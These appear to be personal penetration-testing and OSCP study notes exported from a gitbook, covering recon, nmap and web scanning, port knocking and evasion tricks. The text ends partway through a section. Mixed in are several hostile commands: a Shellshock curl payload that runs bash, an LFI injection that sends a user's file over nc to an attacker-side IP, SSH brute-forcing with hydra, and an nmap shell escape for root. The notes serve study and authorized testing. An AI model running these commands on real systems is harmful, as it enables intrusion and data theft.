# Homepage

## Pentest Workflow

| Stage                                       | Details                                                                   |
| ------------------------------------------- | ------------------------------------------------------------------------- |
| [Prep](/01-prep)                            | Plan. Scope. Investigate, OSINT, Recon                                    |
| [Scan](/02-scanning)                        | nmap, nikto, burp, fuzzing                                                |
| [Getting In](/03-getting-in)                | Find your foothold. Exploit a service. Get user access.                   |
| [WebApps](/04-webapps)                      | WebApps are full of vulnerabilities: IIS, LFI, SQLi, php, wordpress       |
| [Password & Ciphers](/05-passwords-ciphers) | Cipher, Decrypt, Stego, Hash Cracking, Dictionaries, Hydra                |
| [Linux PrivEsc](/06-linux-privesc)          | Enum > PrivEsc > Exploit ... Plus: Pivots, Moving Files, Tricks           |
| [Windows PrivEsc](/07-win-privesc)          | Enum > PrivEsc > Exploit ... Plus: Active Directory, Kerberos, Powershell |


# Pentest Links

## Pentest Docs, Authorization Template, Get Out of Jail Letter

* <http://www.counterhack.net/permission_memo.html>
* <https://www.trustedsec.com/tools/physical-security-assessment-documentation/>
* <https://github.com/trustedsec/physical-docs>

## **PenTest Cheat Sheets**

* [PentestingCheatsheet](https://anhtai.me/pentesting-cheatsheet/)
* [KaliCheatsheet-HSploit](https://hsploit.com/kali-linux-ultimate-cheat-sheet/)
* [PentestingTools-HighOnCoffee](https://highon.coffee/blog/penetration-testing-tools-cheat-sheet)
* [PenTest Methodology-hacktricks ](https://book.hacktricks.xyz/pentesting-methodology)\*\*\*
* [Zero to OSCP in 292 Days](https://blog.mallardlabs.com/zero-to-oscp-in-292-days-or-how-i-accidentally-the-whole-thing-part-2/)
* \*\*\*\*[**areyou1or0-OSCP-CommandsForOSCP**](https://github.com/areyou1or0/OSCP) **\*\*\***
* [MiesslerSecLists-Docs,PrivescsPpwlist](https://github.com/danielmiessler/SecLists)
* [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) .. "All the Tools you could ever want"
* [MetasploitCheatSheet-SANS](https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf)
* [Big-List-of-Naughty-Strings](https://github.com/minimaxir/big-list-of-naughty-strings)
* [Restricted-Linux-Shell-Escaping-Techniques](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)
* [PassingTheOSCP](https://medium.com/@Tib3rius/59-hosts-to-glory-passing-the-oscp-acf0fd384371)
* \*\*\*\*[**HttpStaticServer-OneLiners**](https://gist.github.com/willurd/5720255)\*\*\*\*
* \*\*\*\*[google-nmap-robots-lfi-rce](https://www.google.com/search?ei=gJM2YISlIqyk5NoP5uCv0Aw\&q=path+nmap+dirb+robots+lfi+config+default+version+exploit-db+searchsploit\&oq=path+nmap+dirb+robots+lfi+config+default+version+exploit-db+searchsploit\&gs_lcp=Cgdnd3Mtd2l6EANQ0D1YjkFgjkRoAHACeACAAfsBiAGGBpIBBTAuNC4xmAEAoAEBqgEHZ3dzLXdpesABAQ\&sclient=gws-wiz\&ved=0ahUKEwiE5dGhjIPvAhUsElkFHWbwC8oQ4dUDCA0\&uact=5) ..need more research
* <https://six2dez.gitbook.io/pentest-book/>

### PrivEsc

* \*\*\*\*[**gtfobins.github.io** ](https://gtfobins.github.io)**\*\*\***
* \*\*\*\*[**lolbas-project.github.io**](https://lolbas-project.github.io/) - for windows
* [PentestMonkey.net\_ReverseShells](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
* [PrivEsc1N3](https://github.com/1N3/PrivEsc) ..PrivEsc Win/Linux/Mac

### Exploits/CVE

* [Mitre CVE Search](https://cve.mitre.org/cve/search_cve_list.html)
* [Github CVE-Search](https://github.com/cve-search/cve-search)
* [OffensiveSecurity-BinSploits ](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)..this is blowing my mind here!!

### Move Files

* [Files from Kali to Windows (Easy: SMB, FTP, TFTP)](https://blog.ropnop.com/transferring-files-from-kali-to-windows)

### Buffer Overflows

* <https://github.com/Mrnmap/OSCP2020/tree/master/BufferOverflow>
* CyberMentor: <https://www.youtube.com/playlist?list=PLLKT__MCUeix3O0DPbmuaRuR_4Hxo4m3G>
* CyberMentor Guide: <https://github.com/johnjhacking/Buffer-Overflow-Guide>
* <https://assassinukg.github.io/bufferoverflow/bufferoverflow-vulnserver/>
* [https://github.com/justinsteven/dostackbufferoverflowgood/](https://github.com/justinsteven/dostackbufferoverflowgood/blob/master/dostackbufferoverflowgood_tutorial.md)
* gh0x0st Method: <https://github.com/gh0x0st/Buffer_Overflow>

### Python

* Google's Python Class: <https://developers.google.com/edu/python>
* Python First Steps <https://docs.microsoft.com/en-us/learn/paths/python-first-steps/>
* Python for Everybody <https://www.youtube.com/watch?v=8DvywoWv6fI>
* Violent Python3: <https://github.com/EONRaider/violent-python3>
* Black Hat Python3: <https://github.com/EONRaider/blackhat-python3>
* Ethical Hacking: <https://github.com/The-Art-of-Hacking/h4cker>
* Network-Cookbook <https://github.com/PacktPublishing/Python-Network-Programming>
* Offensive Pentest <https://github.com/PacktPublishing/Python-for-Offensive-PenTest>
* Python for Pentesters: <https://www.pentesteracademy.com/course?id=1> (with paid subscription)
* WebDevPro: <https://www.youtube.com/channel/UCFhHkl9miEIaxNLjSYPBsMg/search?query=python>
* NSA Training: <https://twitter.com/0xdeeb/status/1226388929626202112>
* The Coder's Apprentice <https://www.spronck.net/pythonbook/>

### Hacking Challenges

* [overthewire.com](http://overthewire.com)
* [HackingChallengeList(blackroomsec)](http://www.blackroomsec.com/updated-hacking-challenge-site-links/)
* [PracticeLabs(mindmap)](https://amanhardikar.com/mindmaps/Practice.html)
* [CTF Resources(github)](https://github.com/pwneip/ctf-resources)
* [CTF Notes (nopresearcher)](https://github.com/nopresearcher/ctf_notes)
* [CTF Resources(r00k)](https://gitlab.com/r00k/ctf-resources/)

## OSCP Study Guides:

* [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/)
* [Useful Oscp Notes and Commands](https://falconspy.medium.com/useful-oscp-notes-commands-d71b5eda7b02)
* [johnjhacking prep guide](https://johnjhacking.com/blog/the-oscp-preperation-guide-2020/)
* [PenTest Methodology hacktricks](https://book.hacktricks.xyz/pentesting-methodology)
* [Zero to OSCP in 292 Days](https://blog.mallardlabs.com/zero-to-oscp-in-292-days-or-how-i-accidentally-the-whole-thing-part-2/)
* [Falconspy OSCP Approved Tools](https://falconspy.medium.com/unofficial-oscp-approved-tools-b2b4e889e707)
* [OSCP-Human-Guide](https://github.com/six2dez/OSCP-Human-Guide/blob/master/oscp_human_guide.md) ..tons of stuff, including wp-scan options
* [OSCP-Commands](https://saleem144.gitbooks.io/oscp-saleem/oscp-commands.html)
* [OSCP-Enum-StrongCourage](http://strongcourage.github.io/2020/05/03/enum.html)
* <https://refabr1k.gitbook.io/oscp/>
* <https://sushant747.gitbooks.io/total-oscp-guide/content/>
* <https://sushant747.gitbooks.io/total-oscp-guide/content/list_of_common_ports.html> --Great!!
* <https://github.com/cepxeo/pentest_notes/blob/master/offensive_sec.txt>

## Best HTB Walkthroughs

* <https://dm7500.github.io/oscp-prep/> ..David Martinez
* [https://ranakhalil101.medium.com/](https://ranakhalil101.medium.com/hack-the-box-tartarsauce-writeup-w-o-metasploit-e73393d4a0cd) ..Rana Khalil
* <https://int0x33.medium.com/day-73-oscp-notes-from-ippsec-oscp-style-videos-b6522a8d875a>


# 01 Prep


# Target Inventory

| IP | Name | OS | Discovery | Ports | Vulns | Admin/pws | Other/pws | Misc |
| -- | ---- | -- | --------- | ----- | ----- | --------- | --------- | ---- |
|    |      |    |           |       |       |           |           |      |
|    |      |    |           |       |       |           |           |      |
|    |      |    |           |       |       |           |           |      |
|    |      |    |           |       |       |           |           |      |
|    |      |    |           |       |       |           |           |      |
|    |      |    |           |       |       |           |           |      |
|    |      |    |           |       |       |           |           |      |


# OSINT and Dorks

## PowerMeta

* Scrape all ppt/doc/xls/etc files and pull metadata from a Website/Domain
* <https://github.com/dafthack/PowerMeta>

```
Powershell > Invoke-PowerMeta sans.org -download -extract
```

## Dorks

* Google Dorks
  * <https://www.exploit-db.com/google-hacking-database>
* Googlediggity & Searchdiggi - tool for Windows to multi-search
  * Combo tools for Google Dorks
* * <https://resources.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/>
* Dork Scan
  * <https://github.com/1N3/Goohak/>
  * Example: > goohak domain.com

## OSINT

* **LinkedIn** - user may have [resume, or cover-letter posted](https://www.linkedin.com/in/peter-gibbons-08b7931b2/detail/recent-activity/) - or [activity](https://www.linkedin.com/feed/update/urn:li:activity:6696912520952741888/)
* **Instagram** - user may have photo with a Badge posted
* **Twitter** - Found favorite [song, dog name, hometown](https://twitter.com/LycusVarghese) from a CTF
* **Facebook**

## Maltego

* Great tool.. but free version is limited

## Amazon S3 Bucket

* Buckets can be searched. And data is often leaked here
* Put your keyword domains in file 'myDict'
* REF: SANS Holiday Hack 2020

```
> curl https://raw.githubusercontent.com/mattweidner/bucket_finder/master/bucket_finder.rb -o bucket_finder.rb
> bucket_finder --download myDict
package ..found!!
http://s3.amazonaws.com/wrapper3000/package
```

## Azure Blobs

* <https://github.com/cyberark/blobhunter>
* <https://www.cyberark.com/resources/threat-research-blog/hunting-azure-blobs-exposes-millions-of-sensitive-files>

## Image Reverse Search

* REF:[ Images/Exit/Steg](/05-passwords-ciphers/04-images-exif-steg#image-reverse-search)


# Recon-ng dns zone snoop

## recon-ng

```
recon-ng --no-check --no-analytic
```

## Reverse Resolve Hosts

* If you have IP but not the names:

```
> recon-ng
> help
> show <tab><tab>
> show schema
> set NAMESERVER 10.10.10.3
> show modules
> show options

> search resolve
> use recon/netblocks-hosts/reverse
> show info
> add netblocks 10.10.10.0/24
> show netblocks
> run
> show hosts

  +----------------------------------------
  | row   | host            | ip_address  | 
  +----------------------------------------
  | 1     | frodo.tgt       | 10.10.10.1  | 
  | 2     | samwise.tgt     | 10.10.10.2  | 
  | 3     | gandalf.tgt     | 10.10.10.3  | 
  +----------------------------------------
```

## Dig Zone Transfer

```
dig www.google.com
dig @5.5.5.5 www.msn.org
dig @10.10.10.1 frodo.tgt -t AXFR

+recursive
+norecursive
```

## Cache Snoop for AV

* Get a hint for what AV your target is using
* Shows activity for common-used AV update activity

```
> recon-ng
> use discovery/info_disclosure/cache_snoop
> show options
> set NAMESERVER 10.10.10.1
> run 

[*] update.symantec.com => Snooped!
[*] guru.avg.com => Snooped!

cleanup:
> exit
> rm -rf .recon-ng/
```


# Gitbook

Gitbook Demo

### <mark style="color:red;">**Beautiful Interface.**</mark>

Easy to Navigate.\
Searchable.\
Sync to Github. Forward "Merge". Auto "Update".\
Visibility options – Free: Public, Unpublished.\
Upgrade options (for pay).

`Live edits "were" awesome!`\
`But if you activate Git-Sync`\
`Then you must Edit/Merge/Sync`\
\
Look Familiar?

* <https://book.hacktricks.xyz>
* <https://pentest.mxhx.org>


# 02 Scan

* Scans:
  * nmap
  * dirb
  * gobuster
  * nikto
  * wp-scan
* Browse:
  * http and https - can be diff
  * ssl certificate details
  * follow links, paths, clues
  * source
  * comments
  * configs
  * robots.txt
  * [apache ](/04-webapps/apache)home directories
  * versions
  * login defaults/guessing
  * path/slash/files = [LocalFileInjections](/04-webapps/lfi)
  * forms/php = [SQLi ](/04-webapps/03-webapp-sqli)or [WebInjections](/04-webapps/03-webapp)
* Exploits
  * google 'coldfusion 8 exploits'
  * searchsploit/exploitdb/blogs/github
  * Known: [LFI](/04-webapps/lfi) - [SQLi](/04-webapps/03-webapp-sqli) - Directory Traversal
  * [EternalBlue](/03-getting-in/eternal-blue)/[Shellshock](/04-webapps/03-shellshock)/Heartbleed (Well-Known)
  * Remote Code Execution (RCE)
  * CRM/[Wordpress ](/04-webapps/03-webapp-wordpress)= Vulns, Addon, Upload, Theme
* Brute:
  * login [hydra](/05-passwords-ciphers/hydra)


# \*Favorites

## Commands

```
nmap -v -sn $IP                    ..Pings
nmap -v -sn 10.0.0.0/24            ..Pings
nmap -sV -A -oA nmap -p 22,80 $IP  ..Version Scripts Outs
nmap -p0-65535 -Pn -sT $IP         ..All TCP NoPing
nmap -p0-65535 -Pn -sU $IP         ..All UDP NoPing
nmap -A -sT -T4 -Pn -oA nmap $IP   ..NSE/Def TCP Fast Outs NoPing
nmap -Pn --script vuln $IP         ..vul/cve NoPing

wget -q --server-response https://$IP

dirb $IP
dirb http://$IP/admin -w      ..to follow other paths

gobuster dir -u http://$IP -w ..directory-list-2.3-medium.txt
gobuster dir -u https://$IP --noprogress --wordlist ..medium.txt -k
gobuster dir -u https://$IP -w ..medium.txt -k -x php,txt,bak,conf
gobuster dir -u http://$IP/cgi-bin/ -x sh,cgi,pl,py,php -w ..
gobuster -e -u 10.x.x.x:443 -w ..medium.txt -t 50 -o gobuster.log
gobuster dir -u http://$IP/admin -w ..

nikto -host http://$IP    ..might find LFI
nikto -host http://$IP/mypage/index.php

python cmsmap.py -t https://$IP -f W -F --noedb    ..try this!!

wpscan --url https://$IP
wpscan --url https://$IP --disable-tls-checks
wpscan --url https://$IP/wp/ --enumerate p
wpscan --url https://$IP -U elliot --passwords pw.dic

searchsploit linux kernel 2.6.32 priv esc 
searchsploit -x 41006.txt ..read/explain docs/poc 
searchsploit -m 40839.c   ..download the exploit

LFI Scans:
python fi-cyberscan.py -t http://$IP/cyber.php?page= -m1
fimap -u $IP  ..in kali
```

## logme

* **script** - works like a new shell
* Writes all output to a script file, and preserves formatting
* Even logs reverse shell locally.
* Could save this to \~/.bashrc
* Usage:
  * logme - start
  * scriptfile - view current file/save
  * cat myscriptfile - view data

```
logme () { export SCRIPTFILE="$(date +%s)-${$}" echo "Starting tty logging to ~/scripts/${SCRIPTFILE}..." script -c /bin/bash -q "~/scripts/${SCRIPTFILE}" } scriptfile () { echo "${SCRIPTFILE}"; }
```

## Autorecon - try this!

```
sudo python3 autorecon.py $IP -o /home/beep/
```


# Burp

* <https://portswigger.net/burp/documentation/desktop/getting-started/proxy-setup/certificate/firefox>

## Steps to import for SSL

* Run Burp
* Open <http://burpsuite>
* Download the Certificate (top-right)
* Import into Firefox
  * Settings > Certificates > Import

## Url Encode

* Burp highlight.. and Ctrl-U ..to url encode a section!

## Spider

* Wont find hidden pages, but will pull obscure/linked ones

```
Target > Site Map > Spider This Host

app.js  ..send to repeater

../partials/admin.html      ..found: Download-Backups
../api/users                ..found: password/hashes on page
```

## Discovery

* Scenario: [gobuster ](/02-scanning/02-dirb-masscan-pings#gobuster)is blocked
* Grab the User-Agent String, and re-use with goboster

```
burp > discovery > Copy User-Agent String

gobuster -u http://$IP:3000 -w medium.txt 
-a 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'
.. still no help
```


# Dirb nikto wpscan etc

## Your Brain

* Investigate Clues:
* /wordpress/ ... very fertile ground for an attack. User access = shell.
* /phpmyadmin/ ... suggests there is a database ready to plunder.
* /info.php .... gives us Kernel, hostname and OS information immediately.

## Autorecon

* multi-scan-tool runs nmap, gobuster, and more

```
sudo python3 autorecon.py $IP -o /home/beep/
```

## Find neighbors: netdiscover

```
sudo netdiscover -r 192.168.10.0/24
netdiscover -r 192.168.10.0/24
```

## Masscan

```
masscan -p22,80,443,445,1433,3389 --rate 15000 10.0.0.0/8
Fast enough, without causing DOS

1433 SQL
3389 RDP
If you run w/o 'rate', I will be too fast. Be careful

masscan pp0-65535 --rate 15000 --output-format binary --output-filename full.mass 10.0.0.0/8

-oL  ..List
-oJ  ..JSon
-oG  ..Grepable
-oB  ..Binary - fast but unreadable
-oX  ..XML
-oU  ..Unicorn

Convert Later:
masscan --read-scan full.mass --output-format xml --output-filename full.xml
masscan --read-scan full.mass --output-format grepable --output-filename full.txt
```

## gobuster

* If blocked, try [dirsearch ](#dirsearch)or [burp](/02-scanning/burp)

```
------------------------
locate common.txt  ..fast/ok
locate medium.txt  ..catches more

gobuster -u http://$IP -w medium.txt
gobuster dir -u http://$IP/admin -w ...
gobuster dir -u http://$IP/nibbleblog/admin/ -w -o gobuster.log
gobuster dir -u https://$IP/ -w ..medium.txt -k
gobuster dir -u https://$IP --noprogress --wordlist ..medium.txt -k
gobuster dir -u https://$IP -w ..medium.txt  -k -x php,txt,bak,conf

-f: flag appends / to end of directory 
-x: file extensions to search for
-o: output
-k: ignore SSL certificate warnings
-a: 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'

------------------------
Shellshock:
gobuster dir -u $IP -w medium.txt
gobuster dir -u $IP -f -w medium.txt
gobuster dir -u $IP/cgi-bin/ -w medium.txt -x sh,cgi,pl,py,php
```

## dirb

```
dirb http://192.168.50.102
.. WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

dirb http://10.x.x.x/admin -w   ..to follow other paths
```

## nikto

```
nikto -host http://10.137.114.39:1337/978345210/index.php
```

## dirsearch

* Alternative to gobuster

```
dirsearch -e txt,php -u http://$IP -w medium.txt -t 30 -f 
python3 /opt/dirsearch/dirsearch.py -u http://$IP -w medium.txt -e txt,php
```

## Wordpress Vuln Scanner - wpscan

REF: [Webapp Wordpress](/04-webapps/03-webapp-wordpress)

```
wpscan --url 192.168.50.102
```

## cmsmap

```
python cmsmap.py -t http://tartarsauce -f W -F --noedb
```

## wig

* WebApp Information Gatherer

```
python3 wig.py http://tartarsauce/
```

## whatweb

```
whatweb http://tartarsauce/
```

## Netcat Port Scanner

```
echo "" | nc -nvw2 10.10.10.60 20-80
```

## PowerShell Ping Sweep

```
PS> 1..255 | % {echo ""10.10.10.$_""; ping -n 1 -w 100 10.10.10.$_ | select-string ttl}
```

## Public Attack Surface

```
Rumble.run  - Internal network scanning
Shodan   - Public attack surface
Censys   - Public attack surface

Axonius  - Aggregate various platforms into one.
```

## wget

```
> wget -q --server-response http://10.x.x.x
X-Powered-By: ASP.NET
```

## uniscan

```
uniscan -u IP -qweds
```


# Enum Finger and Brute SSH

## Enumerate Finger Users

REF: [htb:sunday](/02-scanning/02-enum-finger-and-ssh)

```
Scan:
> sudo nmap -sV -O -A 10.129.87.199

Found:
79/tcp    open     finger      Sun Solaris fingerd

Finger:
> finger @10.129.87.203      ..no one logged on
> finger root@10.129.87.203  ..root logged on


Finger-Script:
http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz

> ./finger-user-enum.pl -U /opt/useful/SecLists/Usernames/Names/names.txt -t 10.129.87.203

sammy@10.129.87.203: sammy  console  <Sep 30 13:21>
sunny@10.129.87.203: sunny  pts/3    <Apr 24, 2018> 10.10.14.4
```

## Brute SSH

```
hydra -V -I -l sunny -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt 10.129.87.203 ssh -s 22022

patator ssh_login host=10.129.87.203 port=22022 user=sunny password=FILE0 0=/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt persistent=0

> ssh sunny@10.129.87.203 -p 22022
> ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@10.129.87.203 -p 22022
pw: sunday
```


# Fuzzing

## WFUZZ Unknown Directory

* Find 'secret.py' in an Unknown Directory
* **404** is the 'error' page we'll get when its legit
* Use 'FUZZ' as the Target path
* Wordlists:
  * /usr/share/wfuzz/wordlist/general/big.txt
  * /opt/wfuzz/wordlist/general/big.txt

```
wfuzz -w big.txt --hc '404' -u http://10.x.x.x/FUZZ/secret.py
```

## More:

* [Hydra/Bruteforcing](/05-passwords-ciphers/hydra)
* [Fuzzing-LFI-Burp](/04-webapps/lfi#fuzzing-lfi)


# Nmap

## Scanning:

```
Ping Scan:
>> nmap -v -sn 192.168.50.0/24
>> nmap -v -sn 192.168.50.102

Favs:
nmap -A -oA nmap 10.x.x.x
nmap -sC -sV -oA nmap 10.x.x.x   ..same! A = -sC -sV

nmap -p0-65535 -Pn -sT 10.x.x.x  ..All TCP ports No Ping
nmap -p0-65535 -Pn -sU 10.x.x.x  ..All UDP ports No Ping
nmap -A -sT -T4 10.x.x.x -oA target -Pn   ..NSE/Def, TCP, Fast, AllOuts, Avoid ping
nmap -Pn --script vuln 10.x.x.x           ..Find VULNS, No Pings

---------------------------------------------------------------
---------------------------------------------------------------
nmap
nmap -p 445 10.10.10.10 10.10.10.20

-T3 .. Normal, default
-T4 .. Aggressive, is fine for most any network
-T5 .. Insane. Too fast, dont use.

---------------------------------------------------------------
---------------------------------------------------------------
nmap -p 445 10.10.10.10 10.10.10.20 ..two targets
nmap -p0-65535 -Pn 192.168.17.154   ..all ports
nmap -n -sS -T4 -p 80 10.0.3.0/24   ..stealthScan 80
nmap -P 10.0.0.0-3   ..4 subnets
nmap -sV --script=banner 192.168.1.50  ..svc-ver and banners
nmap -sS -O -p 80-443 145.18.24.7      ..stealthScan os ports
nmap -sn 10.0.128.0/24  ..ping scan
nmap -sL 10.0.128.0/24  ..List scan ns-resolution
nmap -sn 10.0.128.0/24 --packet-trace  ..show onscreen
nmap -sT 10.x.x.x -oA tartet -Pn       ..TCP, output, avoid ping
---------------------------------------------------------------
---------------------------------------------------------------

sneaky
Avoid IDS detection
nmap -sT skillsetlocal.com -p 21,80 -T sneaky

Insane 'FAST'
nmap -sT skillsetlocal.com -p 21,80 -T insane

Speeds: 
paranoid, sneaky, polite, normal, aggressive, insane

Scan Delay:
nmap -sT skillsetlocal.com -p 21,80 --scan-delay 5s

Syn Scan:
Half-open scan (stealthy)
nmap -sS skillsetlocal.com

nmap 192.168.1.1 -p-       ..all ports but Zero
nmap 192.168.1.* -sL       ..list targets
nmap -A -T4 cloudflare.com           ..os/svc and fast
nmap --top-ports 20 192.168.1.106    ..top 20 ports
nmap -Pn 1.1.1.1,2,3,7               ..Disable host discovery. Port scan only.
nmap -p 8.8.8.* --exclude 8.8.8.1
nmap 8.8.8.1-14
nmap -p 1-65535 localhost

```

## NFS - Find and Enum

```
nmap -v -p 111 10.11.1.0/24 -oG nfs.nmap
cat nfs.nmap | grep 111 | grep -v "Nmap" | awk '{print $2}' > nfs.ip 
nmap -sV -p111 --script=rpcinfo -iL nfs.ip
ls -l /usr/share/nmap/scripts/nfs*
nmap -p111 --script nfs* -iL nfs.ip nfs.enum
```

## Stylesheet

* <https://github.com/honze-net/nmap-bootstrap-xsl>

```
nmap -sC -sV -oA myscan --stylesheet nmap-bootstrap.xsl
firefox poison.xml
```

## NSE Scripts

```
Default NSE Scripts: 
nmap -sC x.x.x.x
nmap -A  x.x.x.x

--script=Discovery
--script=Exploit
--script=Intrusive
--script=Vuln         ..Checks common vulns
--script=http-enum    ..Enum dirs in webapps/servs
--script dos          ..test for vuln of DOS attack
--script=banner.nse   ..simple banner pull

---------------------------------------------------------------
---------------------------------------------------------------
Good ones:
nmap -Pn --script vuln 192.168.1.105  ..vul/cve detection, No Pings
nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/vulnscript.sh 10.x.x.x
nmap -p 443 --script ssl-heartbleed 10.x.x.x
nmap -p 3306 --script mysql-brute 10.x.x.x
nmap -p 21 --script ftp-brute 10.x.x.x
nmap -sV -script=nfs-showmount 10.x.x.x
---------------------------------------------------------------
---------------------------------------------------------------
Enumerate shares
Will catch users with 'quick-shares' setup
or find OS, or even usernames

nmap --script smb-enum-users -p 139 10.10.10.10

/usr/local/share/nmap/scripts/smb-enum-shares.nse
/usr/local/share/nmap/scripts/smb-os-discovery.nse
/usr/local/share/nmap/scripts/smb-enum-users.nse
/usr/local/share/nmap/scripts/sshv1.nse
```

## grep for ports

```
grep -oP '\d{1,5}/open' allports.gmap | sort -u > ports.list
22/open
80/open
119/open
4555/open

vim
%s/\/ope//g
%s/n\n/,/g
nmap -p 110,119,22,25,4555,80 -sC -sV -oA output --script vuln $IP
```

## NMAP PrivEsc

Older Version of nmap has 'interactive mode'\
If you are allowed sudo, this could be PrivEsc

```
>> nmap --version        ...nmap version 3.81
>> nmap --interactive

nmap> !sh
# whoami
root 
```


# Open Port Checks OneLiner

## Test a TCP (or UDP) remote port in one-line

```
timeout 1 bash -c '</dev/tcp/216.58.207.46/443 && echo Port is open || echo Port is closed' || echo Connection timeout

Fedora:
ss 216.58.207.46/443


curl telnet://127.0.0.1:22

curl -s 216.58.207.46:443 >/dev/null && echo Port is open || echo Port is closed.
.. || One’s inside the quotes, and one’s outside
.. The inside one ORs off the socket opening, the outside one off the bash execution.


cat < /dev/tcp/127.0.0.1/22


python
>>> import socket
>>> socket.create_connection(address=('216.58.207.46',443),timeout=5)


Netcat:
nc -zv 127.0.0.1 80
nc -zv 127.0.0.1 22 80 8080
nc -zv 127.0.0.1 20-30
nc -w1 127.0.0.1 22 </dev/null
..the -w flag takes care of the timeout, and the </dev/null replaces the -z flag


(echo > /dev/tcp/skinner/22) >/dev/null 2>&1 && echo "It's up" || echo "It's down"
(echo > /dev/udp/skinner/222) >/dev/null 2>&1 && echo "It's up" || echo "It's down"


telnet 192.168.5.5 25
telnet www.example.net 80
```

## Python Port Scan

```
import socket
from colorama import init, Fore

init()
GREEN = Fore.GREEN
RESET = Fore.RESET
GRAY = Fore.LIGHTBLACK_EX

host = input("Enter Host:")

def is_port_open(host, port):
    s = socket.socket()
    try:
        s.connect((host, port))
        s.settimeout(0.2)
    except:
        return False  #port is closed
    else:
        return True   #port is open

for port in range(1, 1025):
    if is_port_open(host, port):
        print(f"{GREEN}[+] {host}:{port} is open      {RESET}")
    else:
        print(f"{GRAY}[!] {host}:{port} is closed    {RESET}", end="\r")
```


# Port Knocking

## About

A security measure that requires certain ports to be 'knocked' before opening another port.\
REF: [Lord of the Root](https://highon.coffee/blog/lord-of-the-root-walkthrough/) (vulnhub)

## Hints

* The possibilities of port-knocking patterns are unlimited.
* You will need a hint like "Easy as 1,2,3" to enter
* cat /var/mail/bob ...bob may have a hint in his email :)

## Easy Knock with nc

```
nc -nv 1
nc -nv 2
nc -nv 3
ssh 10.x.x.x
```

## Knock client

```
knock -v 10.137.114.39 1:tcp 2:tcp 3:tcp
ssh 10.137.114.39
```

## nmap knock loop

* \--max-retries 0 ...keeps nmap from doing multiple retries (breaking the knock pattern)

```
Knock on 1,2,3 then ssh on 22
> for i in 1 2 3; do nmap -Pn -p $i --host-timeout 201 --max-retries 0 10.x.x.x && sleep 1; done; ssh -i secret.priv bob@10.x.x.x

Knock on 1,2,3 then full Port-Scan
> for i in 1 2 3; do nmap -Pn -p $i --host-timeout 201 --max-retries 0 10.x.x.x; done; nmap -p 0-65535 -T4 -A -v -Pn 10.x.x.x
1337 http .. Opened: http://10.x.x.x
4444 ssh  .. Opened: ssh 10.x.x.x -p 4444

Consecutive (-r option)
> nmap -r -Pn -p 1,2,3 10.x.x.x; nmap -Pn 10.x.x.x -p 1-2000

Other method:
> nmap -Pn --host-timeout 201 --max-retries 0 -p 1,2,3 10.x.x.x
> nmap -Pn --host-timeout 201 --max-retries 0 -p 1,2,3 10.x.x.x && ssh -i sshkey.key bob@10.x.x.x 
```

## tcp loop

```
IFS=$' '   ..gives a newline when there is a space
for i in 1 2 3; do echo "" > /dev/tcp/10.x.x.x/$i; done
```

## Sourcecode

```
cat /etc/init.d/knockd
cat /etc/knockd.conf

[options]
 logfile = /var/log/knockd.log
 interface = ens33

[openSSH]
 sequence = 571, 290, 911 
 seq_timeout = 5
 start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
 tcpflags = syn

[closeSSH]
 sequence = 911,290,571
 seq_timeout = 5
 start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
 tcpflags = syn
```


# SSL Issues

* ssl errors and issues.. might need to change your ssl levels
* change it back after you are finished

```
> sslscan 10.10.10.7
> vim /etc/ssl/openssl.cnf

From: 

[system_default_sect]
MinProtocol = TLSv1.2
CipherString = DEFAULT@SECLEVEL=2

To:

[system_default_sect]
MinProtocol = None
CipherString = DEFAULT
```

## curl

```
curl: (60) SSL certificate problem: EE certificate key too weak
curl -vvv --ciphers DEFAULT@SECLEVEL=1 -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'whoami'" https://10.129.114.238:10000/session_login.cgi
```

## burp

* When scanning for shellshock was too much trouble.. [burp ](/02-scanning/burp)did just fine!

##


# Tcpdump

## Capture your packets to prove your work

```
tcpdump -nnX tcp and dst $IP
tcpdump -nn udp and src $IP
tcpdump -nn tcp and port 80 and host $IP
tcpdump -nv -s0 -w /tmp/winauth.pcap port 445

sudo tcpdump -i loopback   ..to watch
sudo tail -f /var/log/auth.log
```

## tcpdump options:

* Switches:
  * -n machine names
  * -nn machine names and port
  * -v verbose ..overkill
  * -w write to file (but wont get to see on-screen)
  * -x hex output
  * -X hex and ASCII
  * -A Ascii only ..doesnt work in all versions
  * -s0 grab-everything .. more effective in older systems
* Wrap in Parentheses to group elements:
  * ether, ip, ip6, arp, rarp, tcp, udp
  * host, net, port, portrange
  * src, dst
  * and, or, not

## Wireshark Extracts

* File > Export Objects > HTTP Stream/Files
* Wireshark Audio:
  * Telephony > RTP (Real Time Protocol) > Streams > Select > Analyze
  * \> Play Multiple Streams, try each one!
* Audio dump
  * open file.pcap in wireshark/windows


# 03 Getting In


# Char Evasion Tricks

## REF:

* [PFSense](/04-webapps/pfsense#exec-code-exploit), [LFI](/04-webapps/lfi), [WAF](/04-webapps/03-webapp-waf)

## env

* Scenario: blocked / and -
* We can use **env** to grab a char we need

```
> env
HOME=/
LANG=en_US.ISO8559-1

cat ${HOME}         ..slash
cat ${LANG:14:1}    ..dash (wont work in bsd/pfsense)

LFI Example:
..queues;cat+${HOME}home${HOME}rohit${HOME}user.txt|nc+10.10.14.6+4444
nc -nvlp 4444
```

## hex

* **printf hex** (linux)
* Doesnt work in bsd

```
man ascii           .. ascii table
printf "\x41"       .. Hex Char = A
```

## octal

* **printf octal** (bsd)

```
man ascii              .. find octal in ascii table
printf "\56"           .. period
printf "\55"           .. dash

Example:
